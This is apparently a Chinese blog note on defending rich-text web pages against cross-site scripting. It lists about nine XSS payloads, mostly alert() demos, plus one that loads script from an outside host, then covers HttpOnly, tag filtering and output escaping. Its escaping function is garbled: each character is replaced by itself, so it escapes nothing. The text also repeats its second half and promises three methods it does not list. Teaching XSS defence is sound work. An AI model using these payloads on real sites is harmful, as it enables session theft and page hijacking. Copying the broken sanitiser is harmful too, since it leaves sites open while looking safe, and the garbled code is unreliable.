富文本安全前端防御问题
- XSS攻击全名(Cross-Site-Script)跨域脚本攻击,为了跟CSS(Cascading-Style-Sheet)区分开来,所以缩写是XSS。
常见 XSS 遇到的攻击方法
<script src=http://3w.org/XSS/xss.js></script>
<img scr=1 onerror=alert('xss')>
<img src=x onerror=appendChild(createElement('script')).src='js_url' />
<img src=javascript:alert('XSS')>
<img src="jav ascript:alert('XSS');">
<<script>alert("XSS");//<</script>
<iframe src="javascript:alert('XSS');"></iframe>
<frameset><frame SRC="javascript:alert('XSS');"></frameset>
<a href=javascrip:alert('xss')>s</a>
XSS攻击防御的手段
- 因为XSS的根本就是向网站插入脚本代码,并使它运行的一种手段。防御方法分为两种,服务端防御和客户端防御。
服务端防御:
- HttpOnly
可以限制javascript不能读取cookie,防止会话ID泄露
- 处理富文本
过滤掉富文本中的敏感标签如(script、iframe、form、img),还有敏感词(javascript:) 等等
客户端防御:
- 输入检查
防止输入敏感字段,如javascript、cookie等等
- 检查输出
脚本都是通过混淆在HTML当中,被当成html代码的一部分才得到执行。
可以通过编码转义的办法,使得混淆在其中的脚本被当成文本处理,不会被执行。
编码转义的话,有三种方法:
function safeStr(str){
return str.replace(/</g,'<').replace(/>/g,'>').replace(/"/g, """).replace(/'/g, "'");
}
- URL Encode*
使用URLEncode的方法。
略懂中常被攻击的场景
-
用户手动输入用户名导致注入
-
富文本中发布文章、提问、投票、PK等
(1)构造了下昵称,可以把页面层级弄乱

参考 : 更多xss实例
富文本安全前端防御问题
常见 XSS 遇到的攻击方法
XSS攻击防御的手段
服务端防御:
可以限制javascript不能读取cookie,防止会话ID泄露
过滤掉富文本中的敏感标签如(script、iframe、form、img),还有敏感词(javascript:) 等等
客户端防御:
防止输入敏感字段,如javascript、cookie等等
脚本都是通过混淆在HTML当中,被当成html代码的一部分才得到执行。
可以通过编码转义的办法,使得混淆在其中的脚本被当成文本处理,不会被执行。
编码转义的话,有三种方法:
将能被转换为html的输入内容,在写代码时改为
innerText而不用innerHTML实在没有办法的情况下可用如下方法(js代码)
使用URLEncode的方法。
略懂中常被攻击的场景
用户手动输入用户名导致注入
富文本中发布文章、提问、投票、PK等
(1)构造了下昵称,可以把页面层级弄乱
参考 : 更多xss实例